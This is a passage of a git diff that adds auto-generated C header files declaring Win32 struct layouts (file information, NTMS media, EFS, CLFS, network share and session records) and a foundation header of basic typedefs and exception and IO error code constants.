VolumeSerialNumber; + void* FileId128; +} FILE_STAT_BASIC_INFORMATION; + +typedef struct _NTMS_DRIVEINFORMATIONA { + unsigned int Number; + unsigned int State; + void* DriveType; + unsigned char szDeviceName[64]; + unsigned char szSerialNumber[32]; + unsigned char szRevision[32]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + unsigned int dwMountCount; + void* LastCleanedTs; + void* SavedPartitionId; + void* Library; + void* Reserved; + unsigned int dwDeferDismountDelay; +} NTMS_DRIVEINFORMATIONA; + +typedef struct _SERVER_ALIAS_INFO_0 { + void* srvai0_alias; + void* srvai0_target; + BOOL srvai0_default; + unsigned int srvai0_reserved; +} SERVER_ALIAS_INFO_0; + +typedef struct _EFS_DECRYPTION_STATUS_INFO { + unsigned int dwDecryptionError; + unsigned int dwHashOffset; + unsigned int cbHash; +} EFS_DECRYPTION_STATUS_INFO; + +typedef struct _FILE_NOTIFY_EXTENDED_INFORMATION { + unsigned int NextEntryOffset; + void* Action; + long long CreationTime; + long long LastModificationTime; + long long LastChangeTime; + long long LastAccessTime; + long long AllocatedLength; + long long FileSize; + unsigned int FileAttributes; + void* Anonymous; + long long FileId; + long long ParentFileId; + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_NOTIFY_EXTENDED_INFORMATION; + +typedef struct _NTMS_OPREQUESTINFORMATIONW { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned short szMessage[256]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; +} NTMS_OPREQUESTINFORMATIONW; + +typedef struct _WIN32_FIND_DATAA { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; + unsigned int dwReserved0; + unsigned int dwReserved1; + unsigned char cFileName[260]; + unsigned char cAlternateFileName[14]; +} WIN32_FIND_DATAA; + +typedef struct _MediaLabelInfo { + unsigned short LabelType[64]; + unsigned int LabelIDSize; + unsigned char LabelID[256]; + unsigned short LabelAppDescr[256]; +} MediaLabelInfo; + +typedef struct _TAPE_SET_POSITION { + void* Method; + unsigned int Partition; + long long Offset; + BOOL Immediate; +} TAPE_SET_POSITION; + +typedef struct _EFS_PIN_BLOB { + unsigned int cbPadding; + unsigned int cbData; + void* pbData; +} EFS_PIN_BLOB; + +typedef struct _NTMS_DRIVETYPEINFORMATIONA { + unsigned char szVendor[128]; + unsigned char szProduct[128]; + unsigned int NumberOfHeads; + void* DeviceType; +} NTMS_DRIVETYPEINFORMATIONA; + +typedef struct _TRANSACTION_NOTIFICATION_PROPAGATE_ARGUMENT { + unsigned int PropagationCookie; + void* UOW; + void* TmIdentity; + unsigned int BufferLength; +} TRANSACTION_NOTIFICATION_PROPAGATE_ARGUMENT; + +typedef struct _WIM_ENTRY_INFO { + unsigned int WimEntryInfoSize; + unsigned int WimType; + long long DataSourceId; + void* WimGuid; + void* WimPath; + unsigned int WimIndex; + unsigned int Flags; +} WIM_ENTRY_INFO; + +typedef struct _VOLUME_ALLOCATION_HINT_OUTPUT { + unsigned int Bitmap[1]; +} VOLUME_ALLOCATION_HINT_OUTPUT; + +typedef struct _VOLUME_CRITICAL_IO { + unsigned int AccessType; + unsigned int ExtentsCount; + void* Extents[1]; +} VOLUME_CRITICAL_IO; + +typedef struct _CLFS_NODE_ID { + unsigned int cType; + unsigned int cbNode; +} CLFS_NODE_ID; + +typedef struct _NTMS_I1_OBJECTINFORMATIONA { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned char szName[64]; + unsigned char szDescription[127]; + void* Info; +} NTMS_I1_OBJECTINFORMATIONA; + +typedef struct _CLS_IO_STATISTICS { + void* hdrIoStats; + unsigned long long cFlush; + unsigned long long cbFlush; + unsigned long long cMetaFlush; + unsigned long long cbMetaFlush; +} CLS_IO_STATISTICS; + +typedef struct _WOF_FILE_COMPRESSION_INFO_V0 { + unsigned int Algorithm; +} WOF_FILE_COMPRESSION_INFO_V0; + +typedef struct _SHARE_INFO_1004 { + void* shi1004_remark; +} SHARE_INFO_1004; + +typedef struct _NTMS_I1_OPREQUESTINFORMATIONA { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned char szMessage[127]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; +} NTMS_I1_OPREQUESTINFORMATIONA; + +typedef struct _NTMS_MOUNT_INFORMATION { + unsigned int dwSize; + void* lpReserved; +} NTMS_MOUNT_INFORMATION; + +typedef struct _NTMS_ASYNC_IO { + void* OperationId; + void* EventId; + unsigned int dwOperationType; + unsigned int dwResult; + unsigned int dwAsyncState; + void* hEvent; + BOOL bOnStateChange; +} NTMS_ASYNC_IO; + +typedef struct _FILE_ID_INFO { + unsigned long long VolumeSerialNumber; + void* FileId; +} FILE_ID_INFO; + +typedef struct _WIN32_FILE_ATTRIBUTE_DATA { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; +} WIN32_FILE_ATTRIBUTE_DATA; + +typedef struct _IORING_REGISTERED_BUFFER { + unsigned int BufferIndex; + unsigned int Offset; +} IORING_REGISTERED_BUFFER; + +typedef struct _NTMS_COMPUTERINFORMATION { + unsigned int dwLibRequestPurgeTime; + unsigned int dwOpRequestPurgeTime; + unsigned int dwLibRequestFlags; + unsigned int dwOpRequestFlags; + unsigned int dwMediaPoolPolicy; +} NTMS_COMPUTERINFORMATION; + +typedef struct _DISK_SPACE_INFORMATION { + unsigned long long ActualTotalAllocationUnits; + unsigned long long ActualAvailableAllocationUnits; + unsigned long long ActualPoolUnavailableAllocationUnits; + unsigned long long CallerTotalAllocationUnits; + unsigned long long CallerAvailableAllocationUnits; + unsigned long long CallerPoolUnavailableAllocationUnits; + unsigned long long UsedAllocationUnits; + unsigned long long TotalReservedAllocationUnits; + unsigned long long VolumeStorageReserveAllocationUnits; + unsigned long long AvailableCommittedAllocationUnits; + unsigned long long PoolAvailableAllocationUnits; + unsigned int SectorsPerAllocationUnit; + unsigned int BytesPerSector; +} DISK_SPACE_INFORMATION; + +typedef struct _ENCRYPTION_PROTECTOR { + unsigned int cbTotalLength; + void* pUserSid; + void* lpProtectorDescriptor; +} ENCRYPTION_PROTECTOR; + +typedef struct _TXF_LOG_RECORD_TRUNCATE { + unsigned short Version; + unsigned short RecordType; + unsigned int RecordLength; + unsigned int Flags; + void* TxfFileId; + void* KtmGuid; + long long NewFileSize; + unsigned int FileNameLength; + unsigned int FileNameByteOffsetInStructure; +} TXF_LOG_RECORD_TRUNCATE; + +typedef struct _FIO_CONTEXT { + unsigned int m_dwTempHack; + unsigned int m_dwSignature; + void* m_hFile; + unsigned int m_dwLinesOffset; + unsigned int m_dwHeaderLength; +} FIO_CONTEXT; + +typedef struct _ENCRYPTION_CERTIFICATE_HASH_LIST { + unsigned int nCert_Hash; + void* pUsers; +} ENCRYPTION_CERTIFICATE_HASH_LIST; + +typedef struct _TXF_LOG_RECORD_AFFECTED_FILE { + unsigned short Version; + unsigned int RecordLength; + unsigned int Flags; + void* TxfFileId; + void* KtmGuid; + unsigned int FileNameLength; + unsigned int FileNameByteOffsetInStructure; +} TXF_LOG_RECORD_AFFECTED_FILE; + +typedef struct _CREATEFILE2_EXTENDED_PARAMETERS { + unsigned int dwSize; + unsigned int dwFileAttributes; + unsigned int dwFileFlags; + unsigned int dwSecurityQosFlags; + void* lpSecurityAttributes; + void* hTemplateFile; +} CREATEFILE2_EXTENDED_PARAMETERS; + +typedef struct _FILE_ID_BOTH_DIR_INFO { + unsigned int NextEntryOffset; + unsigned int FileIndex; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long EndOfFile; + long long AllocationSize; + unsigned int FileAttributes; + unsigned int FileNameLength; + unsigned int EaSize; + signed char ShortNameLength; + unsigned short ShortName[12]; + long long FileId; + unsigned short FileName[1]; +} FILE_ID_BOTH_DIR_INFO; + +typedef struct _VOLUME_LOGICAL_OFFSET { + long long LogicalOffset; +} VOLUME_LOGICAL_OFFSET; + +typedef struct _NTMS_I1_LIBREQUESTINFORMATIONW { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; +} NTMS_I1_LIBREQUESTINFORMATIONW; + +typedef struct _NTMS_I1_PMIDINFORMATIONW { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; + unsigned short szBarCode[64]; + unsigned int BarCodeState; + unsigned short szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; +} NTMS_I1_PMIDINFORMATIONW; + +typedef struct _FILE_IO_PRIORITY_HINT_INFO { + void* PriorityHint; +} FILE_IO_PRIORITY_HINT_INFO; + +typedef struct _CLS_INFORMATION { + long long TotalAvailable; + long long CurrentAvailable; + long long TotalReservation; + unsigned long long BaseFileSize; + unsigned long long ContainerSize; + unsigned int TotalContainers; + unsigned int FreeContainers; + unsigned int TotalClients; + unsigned int Attributes; + unsigned int FlushThreshold; + unsigned int SectorSize; + void* MinArchiveTailLsn; + void* BaseLsn; + void* LastFlushedLsn; + void* LastLsn; + void* RestartLsn; + void* Identity; +} CLS_INFORMATION; + +typedef struct _CLFS_PHYSICAL_LSN_INFORMATION { + unsigned char StreamIdentifier; + void* VirtualLsn; + void* PhysicalLsn; +} CLFS_PHYSICAL_LSN_INFORMATION; + +typedef struct _FILE_STANDARD_INFO { + long long AllocationSize; + long long EndOfFile; + unsigned int NumberOfLinks; + BOOL DeletePending; + BOOL Directory; +} FILE_STANDARD_INFO; + +typedef struct _VOLUME_ALLOCATE_BC_STREAM_OUTPUT { + unsigned long long RequestSize; + unsigned int NumOutStandingRequests; +} VOLUME_ALLOCATE_BC_STREAM_OUTPUT; + +typedef struct _WIN32_FIND_DATAW { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; + unsigned int dwReserved0; + unsigned int dwReserved1; + unsigned short cFileName[260]; + unsigned short cAlternateFileName[14]; +} WIN32_FIND_DATAW; + +typedef struct _NTMS_OBJECTINFORMATIONA { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned char szName[64]; + unsigned char szDescription[127]; + void* Info; +} NTMS_OBJECTINFORMATIONA; + +typedef struct _KCRM_PROTOCOL_BLOB { + void* ProtocolId; + unsigned int StaticInfoLength; + unsigned int TransactionIdInfoLength; + unsigned int Unused1; + unsigned int Unused2; +} KCRM_PROTOCOL_BLOB; + +typedef struct _NTMS_DRIVEINFORMATIONW { + unsigned int Number; + unsigned int State; + void* DriveType; + unsigned short szDeviceName[64]; + unsigned short szSerialNumber[32]; + unsigned short szRevision[32]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + unsigned int dwMountCount; + void* LastCleanedTs; + void* SavedPartitionId; + void* Library; + void* Reserved; + unsigned int dwDeferDismountDelay; +} NTMS_DRIVEINFORMATIONW; + +typedef struct _FILE_BASIC_INFO { + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + unsigned int FileAttributes; +} FILE_BASIC_INFO; + +typedef struct _NTMS_OPREQUESTINFORMATIONA { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned char szMessage[256]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; +} NTMS_OPREQUESTINFORMATIONA; + +typedef struct _NTMS_CHANGERTYPEINFORMATIONA { + unsigned char szVendor[128]; + unsigned char szProduct[128]; + unsigned int DeviceType; +} NTMS_CHANGERTYPEINFORMATIONA; + +typedef struct _SHARE_INFO_2 { + void* shi2_netname; + void* shi2_type; + void* shi2_remark; + void* shi2_permissions; + unsigned int shi2_max_uses; + unsigned int shi2_current_uses; + void* shi2_path; + void* shi2_passwd; +} SHARE_INFO_2; + +typedef struct _IORING_BUFFER_INFO { + void* Address; + unsigned int Length; +} IORING_BUFFER_INFO; + +typedef struct _ENCRYPTION_CERTIFICATE_HASH { + unsigned int cbTotalLength; + void* pUserSid; + void* pHash; + void* lpDisplayInformation; +} ENCRYPTION_CERTIFICATE_HASH; + +typedef struct _KCRM_MARSHAL_HEADER { + unsigned int VersionMajor; + unsigned int VersionMinor; + unsigned int NumProtocols; + unsigned int Unused; +} KCRM_MARSHAL_HEADER; + +typedef struct _EFS_HASH_BLOB { + unsigned int cbData; + void* pbData; +} EFS_HASH_BLOB; + +typedef struct _ENCRYPTED_FILE_METADATA_SIGNATURE { + unsigned int dwEfsAccessType; + void* pCertificatesAdded; + void* pEncryptionCertificate; + void* pEfsStreamSignature; +} ENCRYPTED_FILE_METADATA_SIGNATURE; + +typedef struct _STAT_SERVER_0 { + unsigned int sts0_start; + unsigned int sts0_fopens; + unsigned int sts0_devopens; + unsigned int sts0_jobsqueued; + unsigned int sts0_sopens; + unsigned int sts0_stimedout; + unsigned int sts0_serrorout; + unsigned int sts0_pwerrors; + unsigned int sts0_permerrors; + unsigned int sts0_syserrors; + unsigned int sts0_bytessent_low; + unsigned int sts0_bytessent_high; + unsigned int sts0_bytesrcvd_low; + unsigned int sts0_bytesrcvd_high; + unsigned int sts0_avresponse; + unsigned int sts0_reqbufneed; + unsigned int sts0_bigbufneed; +} STAT_SERVER_0; + +typedef struct _VOLUME_GET_BC_PROPERTIES_OUTPUT { + unsigned int MaximumRequestsPerPeriod; + unsigned int MinimumPeriod; + unsigned long long MaximumRequestSize; + unsigned int EstimatedTimePerRequest; + unsigned int NumOutStandingRequests; + unsigned long long RequestSize; +} VOLUME_GET_BC_PROPERTIES_OUTPUT; + +typedef struct _COPYFILE2_EXTENDED_PARAMETERS_V2 { + unsigned int dwSize; + void* dwCopyFlags; + void* pfCancel; + void* pProgressRoutine; + void* pvCallbackContext; + void* dwCopyFlagsV2; + unsigned int ioDesiredSize; + unsigned int ioDesiredRate; + void* pProgressRoutineOld; + void* SourceOplockKeys; + void* reserved[6]; +} COPYFILE2_EXTENDED_PARAMETERS_V2; + +typedef struct _NTMS_I1_OBJECTINFORMATIONW { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned short szName[64]; + unsigned short szDescription[127]; + void* Info; +} NTMS_I1_OBJECTINFORMATIONW; + +typedef struct _FILE_DISPOSITION_INFO_EX { + void* Flags; +} FILE_DISPOSITION_INFO_EX; + +typedef struct _NTMS_PMIDINFORMATIONA { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; + unsigned char szBarCode[64]; + unsigned int BarCodeState; + unsigned char szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; + unsigned int dwMediaTypeCode; + unsigned int dwDensityCode; + void* MountedPartition; +} NTMS_PMIDINFORMATIONA; + +typedef struct _CONNECTION_INFO_1 { + unsigned int coni1_id; + void* coni1_type; + unsigned int coni1_num_opens; + unsigned int coni1_num_users; + unsigned int coni1_time; + void* coni1_username; + void* coni1_netname; +} CONNECTION_INFO_1; + +typedef struct _VOLUME_GET_BC_PROPERTIES_INPUT { + unsigned int Version; + unsigned int Reserved1; + unsigned long long LowestByteOffset; + unsigned long long HighestByteOffset; + unsigned int AccessType; + unsigned int AccessMode; +} VOLUME_GET_BC_PROPERTIES_INPUT; + +typedef struct _CLS_ARCHIVE_DESCRIPTOR { + unsigned long long coffLow; + unsigned long long coffHigh; + void* infoContainer; +} CLS_ARCHIVE_DESCRIPTOR; + +typedef struct _SESSION_INFO_10 { + void* sesi10_cname; + void* sesi10_username; + unsigned int sesi10_time; + unsigned int sesi10_idle_time; +} SESSION_INFO_10; + +typedef struct _IORING_BUFFER_REF { + void* Kind; + void* Buffer; +} IORING_BUFFER_REF; + +typedef struct _FILE_NAME_INFO { + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_NAME_INFO; + +typedef struct _TAPE_ERASE { + void* Type; + BOOL Immediate; +} TAPE_ERASE; + +typedef struct _FILE_STORAGE_INFO { + unsigned int LogicalBytesPerSector; + unsigned int PhysicalBytesPerSectorForAtomicity; + unsigned int PhysicalBytesPerSectorForPerformance; + unsigned int FileSystemEffectivePhysicalBytesPerSectorForAtomicity; + unsigned int Flags; + unsigned int ByteOffsetForSectorAlignment; + unsigned int ByteOffsetForPartitionAlignment; +} FILE_STORAGE_INFO; + +typedef struct _CLS_WRITE_ENTRY { + void* Buffer; + unsigned int ByteLength; +} CLS_WRITE_ENTRY; + +typedef struct _CLS_CONTAINER_INFORMATION { + unsigned int FileAttributes; + unsigned long long CreationTime; + unsigned long long LastAccessTime; + unsigned long long LastWriteTime; + long long ContainerSize; + unsigned int FileNameActualLength; + unsigned int FileNameLength; + unsigned short FileName[256]; + unsigned int State; + unsigned int PhysicalContainerId; + unsigned int LogicalContainerId; +} CLS_CONTAINER_INFORMATION; + +typedef struct _ENCRYPTION_CERTIFICATE { + unsigned int cbTotalLength; + void* pUserSid; + void* pCertBlob; +} ENCRYPTION_CERTIFICATE; + +typedef struct _TRANSACTION_NOTIFICATION_TM_ONLINE_ARGUMENT { + void* TmIdentity; + unsigned int Flags; +} TRANSACTION_NOTIFICATION_TM_ONLINE_ARGUMENT; + +typedef struct _WIM_EXTERNAL_FILE_INFO { + long long DataSourceId; + unsigned char ResourceHash[20]; + unsigned int Flags; +} WIM_EXTERNAL_FILE_INFO; + +typedef struct _TRANSACTION_NOTIFICATION_RECOVERY_ARGUMENT { + void* EnlistmentId; + void* UOW; +} TRANSACTION_NOTIFICATION_RECOVERY_ARGUMENT; + +typedef struct _CLFS_STREAM_ID_INFORMATION { + unsigned char StreamIdentifier; +} CLFS_STREAM_ID_INFORMATION; + +typedef struct _SESSION_INFO_2 { + void* sesi2_cname; + void* sesi2_username; + unsigned int sesi2_num_opens; + unsigned int sesi2_time; + unsigned int sesi2_idle_time; + void* sesi2_user_flags; + void* sesi2_cltype_name; +} SESSION_INFO_2; + +typedef struct _CLS_IO_STATISTICS_HEADER { + unsigned char ubMajorVersion; + unsigned char ubMinorVersion; + void* eStatsClass; + unsigned short cbLength; + unsigned int coffData; +} CLS_IO_STATISTICS_HEADER; + +typedef struct _NTMS_LIBRARYINFORMATION { + unsigned int LibraryType; + void* CleanerSlot; + void* CleanerSlotDefault; + BOOL LibrarySupportsDriveCleaning; + BOOL BarCodeReaderInstalled; + unsigned int InventoryMethod; + unsigned int dwCleanerUsesRemaining; + unsigned int FirstDriveNumber; + unsigned int dwNumberOfDrives; + unsigned int FirstSlotNumber; + unsigned int dwNumberOfSlots; + unsigned int FirstDoorNumber; + unsigned int dwNumberOfDoors; + unsigned int FirstPortNumber; + unsigned int dwNumberOfPorts; + unsigned int FirstChangerNumber; + unsigned int dwNumberOfChangers; + unsigned int dwNumberOfMedia; + unsigned int dwNumberOfMediaTypes; + unsigned int dwNumberOfLibRequests; + void* Reserved; + BOOL AutoRecovery; + unsigned int dwFlags; +} NTMS_LIBRARYINFORMATION; + +typedef struct _NTMS_STORAGESLOTINFORMATION { + unsigned int Number; + unsigned int State; + void* Library; +} NTMS_STORAGESLOTINFORMATION; + +typedef struct _NTMS_LIBREQUESTINFORMATIONA { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; + unsigned int dwErrorCode; + void* WorkItemId; + unsigned int dwPriority; +} NTMS_LIBREQUESTINFORMATIONA; + +typedef struct _NTMS_NOTIFICATIONINFORMATION { + unsigned int dwOperation; + void* ObjectId; +} NTMS_NOTIFICATIONINFORMATION; + +typedef struct _NTMS_DRIVETYPEINFORMATIONW { + unsigned short szVendor[128]; + unsigned short szProduct[128]; + unsigned int NumberOfHeads; + void* DeviceType; +} NTMS_DRIVETYPEINFORMATIONW; + +typedef struct _NTMS_ALLOCATION_INFORMATION { + unsigned int dwSize; + void* lpReserved; + void* AllocatedFrom; +} NTMS_ALLOCATION_INFORMATION; + diff --git a/stdlib/win32/foundation.h b/stdlib/win32/foundation.h new file mode 100644 index 0000000..fd62b49 --- /dev/null +++ b/stdlib/win32/foundation.h @@ -0,0 +1,10704 @@ +// Generated by entc-win32gen from `Windows.Win32.Foundation`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define TRUE 1 +#define FALSE 0 +#define VARIANT_TRUE -1 +#define VARIANT_FALSE 0 +#define INVALID_HANDLE_VALUE -1 +#define CO_E_NOTINITIALIZED -2147221008 +#define STILL_ACTIVE 259 +#define EXCEPTION_ACCESS_VIOLATION -1073741819 +#define EXCEPTION_DATATYPE_MISALIGNMENT -2147483646 +#define EXCEPTION_BREAKPOINT -2147483645 +#define EXCEPTION_SINGLE_STEP -2147483644 +#define EXCEPTION_ARRAY_BOUNDS_EXCEEDED -1073741684 +#define EXCEPTION_FLT_DENORMAL_OPERAND -1073741683 +#define EXCEPTION_FLT_DIVIDE_BY_ZERO -1073741682 +#define EXCEPTION_FLT_INEXACT_RESULT -1073741681 +#define EXCEPTION_FLT_INVALID_OPERATION -1073741680 +#define EXCEPTION_FLT_OVERFLOW -1073741679 +#define EXCEPTION_FLT_STACK_CHECK -1073741678 +#define EXCEPTION_FLT_UNDERFLOW -1073741677 +#define EXCEPTION_INT_DIVIDE_BY_ZERO -1073741676 +#define EXCEPTION_INT_OVERFLOW -1073741675 +#define EXCEPTION_PRIV_INSTRUCTION -1073741674 +#define EXCEPTION_IN_PAGE_ERROR -1073741818 +#define EXCEPTION_ILLEGAL_INSTRUCTION -1073741795 +#define EXCEPTION_NONCONTINUABLE_EXCEPTION -1073741787 +#define EXCEPTION_STACK_OVERFLOW -1073741571 +#define EXCEPTION_INVALID_DISPOSITION -1073741786 +#define EXCEPTION_GUARD_PAGE -2147483647 +#define EXCEPTION_INVALID_HANDLE -1073741816 +#define EXCEPTION_POSSIBLE_DEADLOCK -1073741420 +#define EXCEPTION_SPAPI_UNRECOVERABLE_STACK_OVERFLOW -536870144 +#define CONTROL_C_EXIT -1073741510 +#define STATUS_ACCESS_DENIED -1073741790 +#define E_NOTIMPL -2147467263 +#define E_OUTOFMEMORY -2147024882 +#define E_INVALIDARG -2147024809 +#define E_FAIL -2147467259 +#define STRICT 0x1 +#define MAX_PATH 0x104 +#define IO_ERR_INSUFFICIENT_RESOURCES -1073479678 +#define IO_ERR_DRIVER_ERROR -1073479676 +#define IO_ERR_SEEK_ERROR -1073479674 +#define IO_ERR_BAD_BLOCK -1073479673 +#define IO_ERR_TIMEOUT -1073479671 +#define IO_ERR_CONTROLLER_ERROR -1073479669 +#define IO_ERR_NOT_READY -1073479665 +#define IO_ERR_INVALID_REQUEST -1073479664 +#define IO_ERR_RESET -1073479661 +#define IO_ERR_BAD_FIRMWARE -1073479655 +#define IO_WRN_BAD_FIRMWARE -2147221478 +#define IO_WRITE_CACHE_ENABLED -2147221472 +#define IO_RECOVERED_VIA_ECC -2147221471 +#define IO_WRITE_CACHE_DISABLED -2147221470 +#define IO_WARNING_PAGING_FAILURE -2147221453 +#define IO_WRN_FAILURE_PREDICTED -2147221452 +#define IO_WARNING_ALLOCATION_FAILED -2147221448 +#define IO_WARNING_DUPLICATE_SIGNATURE -2147221446 +#define IO_WARNING_DUPLICATE_PATH -2147221445 +#define IO_WARNING_WRITE_FUA_PROBLEM -2147221372 +#define IO_WARNING_VOLUME_LOST_DISK_EXTENT -2147221362 +#define IO_WARNING_DEVICE_HAS_INTERNAL_DUMP -2147221361 +#define IO_WARNING_SOFT_THRESHOLD_REACHED -2147221360 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX -2147221359 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_LUN_LUN -2147221358 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_LUN_POOL -2147221357 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_POOL_LUN -2147221356 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_POOL_POOL -2147221355 +#define IO_ERROR_DISK_RESOURCES_EXHAUSTED -1073479530 +#define IO_WARNING_DISK_CAPACITY_CHANGED -2147221353 +#define IO_WARNING_DISK_PROVISIONING_TYPE_CHANGED -2147221352 +#define IO_WARNING_IO_OPERATION_RETRIED -2147221351 +#define IO_ERROR_IO_HARDWARE_ERROR -1073479526 +#define IO_WARNING_COMPLETION_TIME -2147221349 +#define IO_WARNING_DISK_SURPRISE_REMOVED -2147221347 +#define IO_WARNING_REPEATED_DISK_GUID -2147221346 +#define IO_WARNING_DISK_FIRMWARE_UPDATED 1074004127 +#define IO_ERR_RETRY_SUCCEEDED 262145 +#define IO_DUMP_CREATION_SUCCESS 262306 +#define IO_FILE_QUOTA_THRESHOLD 1074004004 +#define IO_FILE_QUOTA_LIMIT 1074004005 +#define IO_FILE_QUOTA_STARTED 1074004006 +#define IO_FILE_QUOTA_SUCCEEDED 1074004007 +#define IO_INFO_THROTTLE_COMPLETE 1074004087 +#define IO_CDROM_EXCLUSIVE_LOCK 1074004101 +#define IO_WARNING_ADAPTER_FIRMWARE_UPDATED 1074004128 +#define IO_FILE_QUOTA_FAILED -2147221464 +#define IO_LOST_DELAYED_WRITE -2147221454 +#define IO_WARNING_INTERRUPT_STILL_PENDING -2147221451 +#define IO_DRIVER_CANCEL_TIMEOUT -2147221450 +#define IO_WARNING_LOG_FLUSH_FAILED -2147221447 +#define IO_WARNING_BUS_RESET -2147221386 +#define IO_WARNING_RESET -2147221375 +#define IO_LOST_DELAYED_WRITE_NETWORK_DISCONNECTED -2147221365 +#define IO_LOST_DELAYED_WRITE_NETWORK_SERVER_ERROR -2147221364 +#define IO_LOST_DELAYED_WRITE_NETWORK_LOCAL_DISK_ERROR -2147221363 +#define IO_WARNING_DUMP_DISABLED_DEVICE_GONE -2147221348 +#define IO_ERR_CONFIGURATION_ERROR -1073479677 +#define IO_ERR_PARITY -1073479675 +#define IO_ERR_OVERRUN_ERROR -1073479672 +#define IO_ERR_SEQUENCE -1073479670 +#define IO_ERR_INTERNAL_ERROR -1073479668 +#define IO_ERR_INCORRECT_IRQL -1073479667 +#define IO_ERR_INVALID_IOBASE -1073479666 +#define IO_ERR_VERSION -1073479663 +#define IO_ERR_LAYERED_FAILURE -1073479662 +#define IO_ERR_PROTOCOL -1073479660 +#define IO_ERR_MEMORY_CONFLICT_DETECTED -1073479659 +#define IO_ERR_PORT_CONFLICT_DETECTED -1073479658 +#define IO_ERR_DMA_CONFLICT_DETECTED -1073479657 +#define IO_ERR_IRQ_CONFLICT_DETECTED -1073479656 +#define IO_ERR_DMA_RESOURCE_CONFLICT -1073479653 +#define IO_ERR_INTERRUPT_RESOURCE_CONFLICT -1073479652 +#define IO_ERR_MEMORY_RESOURCE_CONFLICT -1073479651 +#define IO_ERR_PORT_RESOURCE_CONFLICT -1073479650 +#define IO_BAD_BLOCK_WITH_NAME -1073479649 +#define IO_FILE_SYSTEM_CORRUPT -1073479639 +#define IO_FILE_QUOTA_CORRUPT -1073479638 +#define IO_SYSTEM_SLEEP_FAILED -1073479637 +#define IO_DUMP_POINTER_FAILURE -1073479636 +#define IO_DUMP_DRIVER_LOAD_FAILURE -1073479635 +#define IO_DUMP_INITIALIZATION_FAILURE -1073479634 +#define IO_DUMP_DUMPFILE_CONFLICT -1073479633 +#define IO_DUMP_DIRECT_CONFIG_FAILED -1073479632 +#define IO_DUMP_PAGE_CONFIG_FAILED -1073479631 +#define IO_FILE_SYSTEM_CORRUPT_WITH_NAME -1073479625 +#define IO_ERR_THREAD_STUCK_IN_DEVICE_DRIVER -1073479572 +#define IO_ERR_PORT_TIMEOUT -1073479563 +#define IO_ERROR_DUMP_CREATION_ERROR -1073479519 +#define IO_DUMP_CALLBACK_EXCEPTION -1073479517 +#define IO_DUMP_INIT_DEDICATED_DUMP_FAILURE -1073479516 +#define MCA_INFO_CPU_THERMAL_THROTTLING_REMOVED 1074069616 +#define MCA_INFO_NO_MORE_CORRECTED_ERROR_LOGS 1074069619 +#define MCA_INFO_MEMORY_PAGE_MARKED_BAD 1074069620 +#define MCA_WARNING_CACHE -2147155908 +#define MCA_WARNING_TLB -2147155906 +#define MCA_WARNING_CPU_BUS -2147155904 +#define MCA_WARNING_REGISTER_FILE -2147155902 +#define MCA_WARNING_MAS -2147155900 +#define MCA_WARNING_MEM_UNKNOWN -2147155898 +#define MCA_WARNING_MEM_1_2 -2147155896 +#define MCA_WARNING_MEM_1_2_5 -2147155894 +#define MCA_WARNING_MEM_1_2_5_4 -2147155892 +#define MCA_WARNING_SYSTEM_EVENT -2147155890 +#define 